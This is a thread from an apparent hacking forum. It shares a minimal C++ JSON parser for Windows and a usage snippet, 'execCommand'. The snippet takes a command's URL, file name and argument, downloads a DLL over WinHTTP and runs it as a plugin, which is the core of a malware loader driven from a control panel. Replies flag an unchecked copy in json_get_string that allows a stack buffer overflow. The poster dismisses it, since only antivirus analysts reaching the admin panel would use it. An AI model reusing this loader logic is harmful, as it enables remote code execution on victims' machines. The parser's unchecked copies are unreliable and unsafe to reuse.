• XSS.stack #1 – первый литературный журнал от юзеров форума

C++ mini json parser

Triada

RAM
Пользователь
Регистрация
13.12.2019
Сообщения
127
Реакции
53
C++:
#include <windows.h>
#include "minijson.h"

#define ISSPACE(c) ((char)(c) == ' ' || (char)(c) == '\n')
#define SKIPSPACE(p) while(ISSPACE(*p))++p

parse_status parse_object(char *, char **);
parse_status parse_array(char *, char **);
parse_status parse_number(char *, char **);
parse_status parse_string(char *, char **);

parse_status skip_object(char **);
parse_status skip_array(char **);
parse_status skip_number(char **);
parse_status skip_string(char **);
parse_status skip_value(char **);

bool _isspace(int c)
{
    return c == ' ' || c == '\t';
}

long int _atol(const char* string)
{
    register long int result = 0;
    register unsigned int digit;
    int sign;

    while (_isspace(*string)) {
        string += 1;
    }

    if (*string == '-') {
        sign = 1;
        string += 1;
    }
    else {
        sign = 0;
        if (*string == '+') {
            string += 1;
        }
    }

    for (; ; string += 1) {
        digit = *string - '0';
        if (digit > 9) {
            break;
        }
        result = (10 * result) + digit;
    }

    if (sign) {
        return -result;
    }
    return result;
}

int _strncmp(const char * s1, const char * s2, size_t n)
{
    while (n && *s1 && (*s1 == *s2))
    {
        ++s1;
        ++s2;
        --n;
    }
    if (n == 0)
    {
        return 0;
    }
    else
    {
        return (*(unsigned char *)s1 - *(unsigned char *)s2);
    }
}

parse_status skip_value(char **top)
{
    char *orig = *top;
    char *p;
    parse_status ret;

    switch (**top) {
    case '{':
        ret = skip_object(top);
        break;
    case '[':
        ret = skip_array(top);
        break;
    case '"':
        ret = skip_string(top);
        break;
    case '-':
    case '0': case '1': case '2': case '3': case '4':
    case '5': case '6': case '7': case '8': case '9':
        ret = skip_number(top);
        break;
    case 't': // true
        if (!_strncmp(*top, "true", 4)) {
            ret = PARSE_SUCCEEDED;
            *top += 3;
        }
        else {
            ret = PARSE_FAILED_TRUE;
        }
        break;
    case 'f': // false
        if (!_strncmp(*top, "false", 5)) {
            ret = PARSE_SUCCEEDED;
            *top += 4;
        }
        else {
            ret = PARSE_FAILED_FALSE;
        }
        break;
    case 'n': // null
        if (!_strncmp(*top, "null", 4)) {
            ret = PARSE_SUCCEEDED;
            *top += 3;
        }
        else {
            ret = PARSE_FAILED_NULL;
        }
        break;
    default:
        break;
    }

    if (ret != PARSE_SUCCEEDED) {
        *top = orig;
        return ret;
    }

    return PARSE_SUCCEEDED;
}


parse_status skip_object(char **top) {
    char *p, *orig = *top;
    parse_status ret;
    if ((ret = parse_object(*top, &p)) != PARSE_SUCCEEDED) {
        *top = orig;
        return ret;
    }
    *top = p;
    return PARSE_SUCCEEDED;
}

parse_status skip_array(char **top) {
    char *p, *orig = *top;
    parse_status ret;
    if ((ret = parse_array(*top, &p)) != PARSE_SUCCEEDED) {
        *top = orig;
        return ret;
    }
    *top = p;
    return PARSE_SUCCEEDED;
}

parse_status skip_string(char **top) {
    char *p, *orig = *top;
    parse_status ret;
    if ((ret = parse_string(*top, &p)) != PARSE_SUCCEEDED) {
        *top = orig;
        return ret;
    }
    *top = p;
    return PARSE_SUCCEEDED;
}

parse_status skip_number(char **top) {
    char *p, *orig = *top;
    parse_status ret;
    if ((ret = parse_number(*top, &p)) != PARSE_SUCCEEDED) {
        *top = orig;
        return ret;
    }
    *top = p;
    return PARSE_SUCCEEDED;
}


parse_status parse_object(char *beg, char **end)
{
    if (*beg != '{')
        return PARSE_FAILED_OBJECT;

    char *p = beg;
    char *tmp;
    parse_status ret;

    p++; // next to '{'
    while (*p != '}') {
        // key
        SKIPSPACE(p);
        if ((ret = skip_string(&p)) != PARSE_SUCCEEDED)
            return ret;
        p++; // next to closing '"'
        SKIPSPACE(p);
        if (*p != ':')
            return PARSE_FAILED_OBJECT;
        p++; // next to ':'
        SKIPSPACE(p);

        // value
        if ((ret = skip_value(&p)) != PARSE_SUCCEEDED)
            return ret;
        p++;
        SKIPSPACE(p);

        // comma
        if (*p != ',' && *p != '}') {
            return PARSE_FAILED_OBJECT;
        }
        if (*p == ',') {
            p++;
            SKIPSPACE(p);
        }
    }
    *end = p;
    return PARSE_SUCCEEDED;
}

parse_status parse_array(char *beg, char **end)
{
    if (*beg != '[')
        return PARSE_FAILED_ARRAY;

    char *p = beg;
    parse_status ret;

    p++; // next to '['
    while (*p != ']') {
        SKIPSPACE(p);
        if ((ret = skip_value(&p)) != PARSE_SUCCEEDED)
            return ret;

        p++;
        SKIPSPACE(p);

        if (*p != ',' && *p != ']') {
            return PARSE_FAILED_ARRAY;
        }
        if (*p == ',') {
            p++;
            SKIPSPACE(p);
        }
    }
    *end = p;
    return PARSE_SUCCEEDED;
}

parse_status parse_string(char *beg, char **end) // "[^"]*"
{
    if (*beg != '"')
        return PARSE_FAILED_STRING;

    char *p = beg;
    while (*(++p) != '"')
        if (*p == '\\') p++;

    *end = p;
    return PARSE_SUCCEEDED;
}

parse_status parse_number(char *beg, char **end) // [0-9]+
{
    char *p;
    for (p = beg; ('0' <= (*p) && (*p) <= '9') || *p == '-'; ++p);
    *end = p - 1;
    if (beg > *end)
        return PARSE_FAILED_NUMBER;
    else
        return PARSE_SUCCEEDED;
}



parse_status json_parse(const char *str, json_value_t *res)
{
    char *p = (char*)str;
    parse_status ret = PARSE_SUCCEEDED;
    SKIPSPACE(p);

    switch (*p) {
    case '{':
        res->type = JSON_OBJECT;
        break;
    case '[':
        res->type = JSON_ARRAY;
        break;
    case '\"':
        res->type = JSON_STRING;
        break;
    case '-':
    case '0': case '1': case '2': case '3': case '4':
    case '5': case '6': case '7': case '8': case '9':
        res->type = JSON_NUMBER;
        break;
    case 't':
        res->type = JSON_TRUE;
        break;
    case 'f':
        res->type = JSON_FALSE;
        break;
    case 'n':
        res->type = JSON_NULL;
        break;
    default:
        ret = PARSE_FAILED;
    }
    if (ret == PARSE_SUCCEEDED) res->value = p;
    return ret;
}

parse_status json_get_object(json_value_t json, const char *key, json_value_t *res)
{
    if (json.type != JSON_OBJECT)
        return PARSE_FAILED_TYPE_MISSMATCH;

    char *p = json.value;
    char *tmp;
    int key_len = lstrlenA(key);
    parse_status ret;

    p++;
    while (1) {
        SKIPSPACE(p);

        if (*p == '}') {
            return PARSE_FAILED_NOT_FOUND_KEY;
        }

        if (*p == '\"' && *(p + key_len + 1) == '\"' && !_strncmp(p + 1, key, key_len)) { // found key
            tmp = p + key_len + 2; // next to closing '\"'
            SKIPSPACE(tmp);
            if (*tmp != ':') return PARSE_FAILED_OBJECT;
            tmp++;
            SKIPSPACE(tmp);
            return json_parse(tmp, res);
        }

        // skip until next key
        if ((ret = skip_string(&p)) != PARSE_SUCCEEDED) {
            return ret;
        }
        p++; // next to closing key '"'
        SKIPSPACE(p);
        if (*p != ':')
            return PARSE_FAILED_OBJECT;
        p++; // next to ':'
        SKIPSPACE(p);

        if ((ret = skip_value(&p)) != PARSE_SUCCEEDED) {
            return ret;
        }
        p++;
        SKIPSPACE(p);

        // comma
        if (*p == ',') {
            p++;
        }
        SKIPSPACE(p);
    }
}

parse_status json_get_array(json_value_t json, int idx, json_value_t *res)
{
    if (json.type != JSON_ARRAY)
        return PARSE_FAILED_TYPE_MISSMATCH;

    char *p = json.value;
    char *tmp;
    parse_status ret;

    p++;
    while (idx--) {
        SKIPSPACE(p);
        skip_value(&p);
        p++;
        SKIPSPACE(p);
        if (*p != ',')
            return PARSE_FAILED_ARRAY;
        p++;
    }
    SKIPSPACE(p);
    return json_parse(p, res);
}

parse_status json_get_number(json_value_t json, long long *val)
{
    if (json.type != JSON_NUMBER)
        return PARSE_FAILED_TYPE_MISSMATCH;

    char *end;
    char buf[32];
    int i;
    parse_status ret;
    if ((ret = parse_number(json.value, &end)) != PARSE_SUCCEEDED)
        return ret;
    for (i = 0; i <= end - json.value; i++) buf[i] = *(json.value + i);
    *val = _atol(buf);
    return PARSE_SUCCEEDED;
}

parse_status json_get_string(json_value_t json, char *val)
{
    if (json.type != JSON_STRING)
        return PARSE_FAILED_TYPE_MISSMATCH;

    char *end;
    int i;
    parse_status ret;
    if ((ret = parse_string(json.value, &end)) != PARSE_SUCCEEDED)
        return ret;
    for (i = 0; i < end - json.value - 1; i++) *(val + i) = *(json.value + i + 1);
    *(val + i) = '\0';
    return PARSE_SUCCEEDED;
}
C++:
#ifndef _INCLUDE_MINIJSON_H
#define _INCLUDE_MINIJSON_H

typedef enum {
    PARSE_SUCCEEDED = 0,
    PARSE_FAILED,
    PARSE_FAILED_OBJECT,
    PARSE_FAILED_ARRAY,
    PARSE_FAILED_STRING,
    PARSE_FAILED_NUMBER,
    PARSE_FAILED_TRUE,
    PARSE_FAILED_FALSE,
    PARSE_FAILED_NULL,
    PARSE_FAILED_NOT_FOUND_KEY,
    PARSE_FAILED_TYPE_MISSMATCH,
} parse_status;

typedef enum {
    JSON_STRING,
    JSON_NUMBER,
    JSON_OBJECT,
    JSON_ARRAY,
    JSON_TRUE,
    JSON_FALSE,
    JSON_NULL,
} json_value;

typedef struct {
    json_value type;
    char *value;
} json_value_t;

parse_status json_parse(const char*, json_value_t*);
parse_status json_get_object(json_value_t, const char*, json_value_t*);
parse_status json_get_array(json_value_t, int, json_value_t*);
parse_status json_get_number(json_value_t, long long*);
parse_status json_get_string(json_value_t, char*);

#endif // _INCLUDE_MINIJSON_H

От меня usage:
C++:
void execCommand(LPCSTR commandData, LONG commandLength) {
    Network network;

    char urlBuffer[32767];
    char fileBuffer[32767];
    char argumentBuffer[32767];

    json_value_t json;
    json_value_t jsonUrl;
    json_value_t jsonFile;
    json_value_t jsonArgument;
    if (PARSE_SUCCEEDED == json_parse(commandData, &json)) {
        if (PARSE_SUCCEEDED == json_get_object(json, "url", &jsonUrl) && PARSE_SUCCEEDED == json_get_object(json, "file", &jsonFile) && PARSE_SUCCEEDED == json_get_object(json, "arg", &jsonArgument)) {
            json_get_string(jsonUrl, urlBuffer);
            json_get_string(jsonFile, fileBuffer);
            json_get_string(jsonArgument, argumentBuffer);

            DWORD dwOutSize = 0;
            LPBYTE lpDllBytes = network.winHttpDownloadFile(urlBuffer, fileBuffer, &dwOutSize);
            runPlugin(lpDllBytes, dwOutSize, argumentBuffer);
            _free(lpDllBytes);
        }
    }
}
 
del
 
а вдруг кто-то сделает ссылку длинной в ебанный поезд?
максимальная длина URL - 2048 символов в IE.
в хроме - в 2 раза больше вроде бы.
фф - 64 кб ( но это не точно ).
 
У тебя произойдёт классическое переполнение буфера на стеке, если кому то придёт в голову передать больше чем 32767 символов, поскольку json_get_string не проверяет размеры массива, куда идёт копирование распаршенного контента. Именно там, куда ты в качестве аргумента передаёшь указатель на начало массива (val) , что есть в данном случае твой буфер в 32767 символов на стеке.
 
Последнее редактирование:
У тебя произойдёт классическое переполнение буфера на стеке, если кому то придёт в голову передать больше чем 32767 символов, поскольку json_get_string не проверяет размеры массива, куда идёт копирование распаршенного контента. Именно там, куда ты в качестве аргумента передаёшь указатель на начало массива (val) , что есть в данном случае твой буфер в 32767 символов на стеке.
таким станет заниматься только ав если получат доступ к админке, а так спс, пойду либу перепишу
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх